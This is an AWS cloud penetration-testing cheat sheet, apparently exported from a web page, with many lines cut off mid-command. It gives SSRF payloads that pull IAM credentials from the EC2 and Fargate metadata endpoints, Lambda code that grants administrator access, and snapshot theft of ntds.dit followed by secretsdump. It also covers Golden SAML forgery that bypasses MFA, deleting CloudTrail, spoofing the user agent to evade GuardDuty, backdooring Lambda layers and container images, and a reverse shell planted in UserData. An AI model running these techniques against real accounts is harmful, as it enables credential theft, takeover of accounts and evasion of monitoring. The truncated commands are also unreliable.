Cloud - AWS Pentest
Cloud - AWS Pentest
Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
Summary
AWS
Summary
Training
Tools
AWS Patterns
AWS - Metadata SSRF
Method for Elastic Cloud Compute (EC2)
Method for Container Service (Fargate)
AWS API calls that return credentials
AWS - Shadow Admin
Admin equivalent permission
AWS - Gaining AWS Console Access via API Keys
AWS - Enumerate IAM permissions
AWS - Mount EBS volume to EC2 Linux
AWS - Copy EC2 using AMI Image
AWS - Instance Connect - Push an SSH key to EC2 instance
AWS - Lambda - Extract function's code
AWS - SSM - Command execution
AWS - Golden SAML Attack
AWS - Shadow Copy attack
Disable CloudTrail
Cover tracks by obfuscating Cloudtrail logs and Guard Duty
DynamoDB
Security checks
AWSome Pentesting Cheatsheet
References
Training
AWSGoat : A Damn Vulnerable AWS Infrastructure - https://github.com/ine-labs/AWSGoat
Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-
escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
SadCloud - https://github.com/nccgroup/sadcloud
Flaws - http://flaws.cloud
Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
Tools
SkyArk - Discover the most privileged users in the scanned AWS environment, including the
AWS Shadow Admins
Pacu - Exploit configuration flaws within an AWS environment using an extensible collection
of modules with a diverse feature-set
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
Bucket Finder - Search for public buckets, list and download all files if directory indexing is
enabled
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access
try:
result = s3.list_buckets()
print(result)
except Exception as e:
print(e)
Prowler - AWS security best practices assessments, audits, incident response, continuous
monitoring, hardening and forensics readiness
It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and
DOZENS of additional checks including GDPR and HIPAA (+100).
* Require: arn:aws:iam::aws:policy/SecurityAudit
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc
cloudsplaining - An AWS IAM Security Assessment tool that identifies violations of least
privilege and generates a risk-prioritized report
cloudmapper - CloudMapper helps you analyze your Amazon Web Services (AWS)
environments
dufflebag - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
AWS Patterns
Service URL
s3 https://{user_provided}.s3.amazonaws.com
cloudfront https://{random_id}.cloudfront.net
ec2 ec2-{ip-seperated}.compute-1.amazonaws.com
es https://{user_provided}-{random_id}.{region}.es.amazonaws.com
elb http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
elbv2 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
rds mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.
rds
{region}.rds.amazonaws.com:5432
route 53 {user_provided}
execute-api https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
https://doc-{user_provided}-{random_id}.
cloudsearch
{region}.cloudsearch.amazonaws.com
transfer sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
iot mqtt://{random_id}.iot.{region}.amazonaws.com:8883
iot https://{random_id}.iot.{region}.amazonaws.com:8443
iot https://{random_id}.iot.{region}.amazonaws.com:443
mq https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
mq ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.
kafka
{region}.amazonaws.com
kafka {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
cloud9 https://{random_id}.vfs.cloud9.{region}.amazonaws.com
mediastore https://{random_id}.data.mediastore.{region}.amazonaws.com
kinesisvideo https://{random_id}.kinesisvideo.{region}.amazonaws.com
mediaconvert https://{random_id}.mediaconvert.{region}.amazonaws.com
https://{random_id}.mediapackage.
mediapackage
{region}.amazonaws.com/in/v1/{random_id}/channel
:warning: Only working with IMDSv1. Enabling IMDSv2 : aws ec2 modify-instance-metadata-
options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint
enabled --http-token required .
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGI
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe
2. Use the credential URL to dump the AccessKey and SecretKey :
https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-
5f22-4987-ae90-1cd9bec3f447
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtL
"Expiration": "2019-09-18T04:05:59Z"
}
"Action": "*"
"Resource": "*"
iam:CreateLoginProfile : add a new password-based login profile, set a new password for
an entity and impersonate it
Example of code.py
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
:warning: EBS snapshots are block-level incremental, which means that every snapshot only
copies the blocks (or areas) in the volume that had been changed since the last snapshot. To
restore your data, you need to create a new EBS volume from one of your EBS snapshots. The
new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : attach ebs volume
7. Create a directory of your choice to mount our new ext4 volume. I am using the name
“newvolume” : sudo mkdir /newvolume
8. Mount the volume to "newvolume" directory using the following command : sudo mount
/dev/xvdf /newvolume/
9. cd into newvolume directory and check the disk space for confirming the volume mount :
cd /newvolume; df -h .
First you need to extract data about the current instances and their AMI/security groups/subnet :
aws ec2 describe-images --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subne
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].In
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INST
AWS - Lambda - Extract function's code
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnera
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --q
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunSh
Using the extracted information, the tool will generate a forged SAML token as an arbitrary
user that can then be used to authenticate to Office 365 without knowledge of that user's
password. This attack also bypasses any MFA requirements.
Requirement:
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
Prerequisite:
EC2:CreateSnapshot
CloudCopy - https://github.com/Static-Flow/CloudCopy
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run "Describe-Instances" and show in list for attacker to select
3. Run "Create-Snapshot" on volume of selected instance
4. Run "modify-snapshot-attribute" on new snapshot to set "createVolumePermission"
to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run "run-instance" command to create new linux ec2 with our stolen snapshot
7. Ssh run "sudo mkdir /windows"
8. Ssh run "sudo mount /dev/xvdf1 /windows/"
9. Ssh run "sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"
10. Ssh run "sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"
11. Ssh run "sudo chown ec2-user:ec2-user /home/ec2-user/*"
12. SFTP get "/home/ec2-user/SYSTEM ./SYSTEM"
13. SFTP get "/home/ec2-user/ntds.dit ./ntds.dit"
14. locally run "secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile
secrets' , expects secretsdump to be on path
Disable CloudTrail
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If t
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's a
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying u
DynamoDB
list tables
{
"TableNames": [
"users"
]
}
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
Security checks
Security checks from DenizParlak/Zeus: AWS Auditing & Hardening Tool
https://buckets.grayhatwarfare.com/
ARN
Example
arn:aws:iam:100:user/admin
IAM
It's assumed that we have gain access to the AWS Credentials
We can see if we have permissions using Amazon's policy simulator
Always look for policies and roles with the * symbol.
See which user do not have MFA enabled
User enumeration in IAM Panel and group enumeration
We can also enumerate roles from the same interface
Root user is super admin
aws configure
Listing the IAM groups that the specified IAM user belongs to
Listing all manages policies that are attached to the specified IAM user
Listing the names of the inline policies embedded in the specified IAM user
Listing all managed policies that are attached to the specified IAM Group
Listing the names of the inline policies embedded in the specified IAM Group
3. Enumeratig Roles
Listsing all managed policies that are attached to the specified IAM role
Listing the names of the inline policies embedded in the specified IAM role
4. Enumerating Policies
5. Exploitation Scenario
General Guidelines
AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna
use it.
Or specifing a profile
If you have the password of the root account instead of key, log in
https://signin.aws.amazon.com/console
https://account-id-here.signin.aws.amazon.com/console
The account id can be cathered using the sts get caller command.
Privilege Escalation
Privilege escalation on AWS is based on misconfigurations, if we have more permissions
than necessary, its possible to obtain higher privileges.
Study Case
A user was compromised with the List Policy and Put User Policy permissions, an attacker
could leverage this Put User privilege to add an inline administrator to itself, making it
administrator of the instance.
Exploitation
If there are more than one version of the policy, we can also list them
It's important to use the command above to chech the information about the default policy
4. Escalation
If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.
{
"Version": "2021-10-17",
"Statement" : [
{
"Effect":"Allow",
"Action": [
"*"
],
"Resource":[
"*"
]
}
]
}
Interesting Permissions
iam:AttachUserPolicy -> Attach a policy to a user
iam:AttachGroupPolicy -> Attach a policy to a group
iam:AttachRolePolicy -> Attach a policy to a role
iam:CreateAccessKey -> Creates a new access key
iam:CreateLoginProfile -> Creates a new login profile
iam:UpdateLoginProfile -> Update an existing login profile
iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance
profile
iam:PuserUserPolicy -> Create/Update an inline policy
iam:PutGroupPolicy -> Create/Update an inline policy for a group
iam:PutRolePolicy -> Create/Update an inline policy for a role
iam:AddUserToGroup -> Add an user to a group
iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the
AssumeRolePolicyDocument of a role
iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new
lambda function and invoke it
lambda:UpdateFunctionCode -> Update the code of an existing lambda function
Listing trust relashionship between role and user (Which roles we can assume)
export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN
Enumeration
Data Exfiltration
It's possible to brute-force files in the bucket
If the bucket is misconfigured, we can read data through web browser, cli/api or time-based
URL.
Public Access
Just enter the URL in the browser
https://bucket-name.region.amazonaws.com/secret.txt
Authenticated User
Time-Based Url
Generate a time based url for an object
Userful if the object is not public
aws s3 presign s3://bucket-name/object-name --expires-in 605000
Enumeration
This command enables us to download the source code of the lambda function
Initial Access
Its possible to get RCE through API Gateway if it executes commands.
If you can execute commands, there is a way to retrieve keys from the API Gateway, just use
env , configure aws cli and proceed with the exploitation.
Credential Access
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocat
https://apigateway/prod/system?cmd=file:///proc/self/environ
It's important to enumerate the functions first with aws lambda list-functions
Persistence
If the user has sufficient rights in the lambda function, its possible to download the source
code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code
will also execute.
Always try to update the code of layers (depedencies) instead of the actual lambda code,
this way our backdoor will be difficult to detect.
We can grab informations like id, who can invoke and other details with this command
(Helps to build the query to execute the lambda function).
curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE
Where
Privilege Escalation
If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a
Lambda Function, its possible to create a function with a code that changes the lambda role
to admin then the user to Administrator.
Inside the function's code, we will add the administrator permission to the role and to the
user
import boto3
import json
def handler(event,context)
iam = boto3.client("iam")
iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
iam.attach.user.policy(UserName="name",PolicyArn="arn",)
return {
'statusCode':200
'body':json.dumps("Pwned")
}
Credential Exfiltration
If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API
KMS
If we compromised as an example an S3 with an encrypted file, we can decrypt it using the
keys stored in KMS.
Listing an specific key
Here we can see who can access the key, the description of it and so on
Run the previous command in all keys to see who can access it
There is no need to specificy the key information because this information is embbeded in
the encrypted file
Containers
Divided into three categories
Initial Access
The initial access can be done by exploiting some RCE in webapp to get access to the
container, afterwards its possible to compromise the EC2.
After the RCE, we can list all secrets in EKS
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/toke
Enumeration
ECR
ECS
EKS
Persistence
It's possible to modify an existing docker image with a backdoor, when this image is used it
will trigger our team server.
aws ecr get-login-password --region region | docker login --username AWS --password-
EC2
AMI, images used to create virtual machines
It's possible to create a malicious image to compromise users
We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager
The SSH Key method is permanent, we need to gather the private key to connect to the
instance
EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily
connect to an instance
Session manager only work in browser and it does not need SSH Key
Windows machines can be accessed by using RDP, Session Manager
Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the
instance level, not the subnet level.
Enumeration
This command gathers the metadata from the instance, like commands or secrets. The output is
base64 encoded
Exploitation
Initial access can happen by RCE or SSRF
Metadata can be used to exfiltrate information from the instance
AWS Metadata
curl http://169.254.169.254/latest/meta-data
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-crede
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-se
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-da
AWS Userdata
Version 1
curl http://169.254.169.254/latest/user-data/
Version 2
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-se
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-da
Privilege Escalation
One approach to get a shell in a instance is to put a reverse shell in UserData attribute,
when the instance is launched, we will have the connection.
Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess
permissions, we can add an administrator role to the compromised EC2 instance and access
aws services.
To attach a role to an EC2 instance, we can use the RCE to grab the ID
curl http://169.254.169.254/latest/meta-data/instance-id
Credential Access
We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so
on)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIO
aws configure
Persistence
All the persistence techniques works here, SSH persistence, vim backdoor and so on.
ssh-keygen
Enumeration
Enumerating Snapshots
Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other
EC2 instance.
User need to have IAM permissions on EC2
Maybe we don't have the right to access the instance but have rights to create a snapshot
and attach it to another machine.
Listing snapshots
Enumeration
Data exfiltration
If the instance is in a security group or VPC, we need to compromise it first to access the
database (For example, we compromise an EC2 instance in the same VPC, then its possible
to connect)
CloudTrail
Log monitoring service, allow us to continuously monitor and retain account activity related
to actions in our AWS account
Provide event history of AWS account activity, SDKs, command line tools and other services
Commonly used to detect unsual behavior in AWS account
Pacu automatically changes the user agent to deceive the logs of cloudtrail
Userful Commands
List trails
Disabling CloudTrail
AWS Shield
Used to protect services from Denial of Service Attacks
There are 2 versions, the standard and the Advanced
AWS Waf
AWS Inspector
Automated security assessment service that helps improve the security and compliance of
applications on AWS
Works with an agent
Used to create an isolated infrastructure within the cloud, including subnets and so on.
If the VPC has an internet gateway, means its a public subnet
Every VPC can have Network ACL's
Routing Tables
A set of rules to determine where the traffic will be directed, comes in form of Destination and
Target, defined as follows
DESTINATION TARGET
Enumeration
Listing VPC's
Listing subnet's
Scenario
There are 3 VPC's -> A,B,C
A can access B through peering and B access C. We can use VPC B as a peering pivot to
access VPC C from VPC A.
The lateral movement can be done if we gather keys or other machines
Always enumerate the subnets to see in which subnet we can access other VPC's
Listing subnets of specific VPC (Important because the access can be restricted to specific
subnets to other VPC's)
References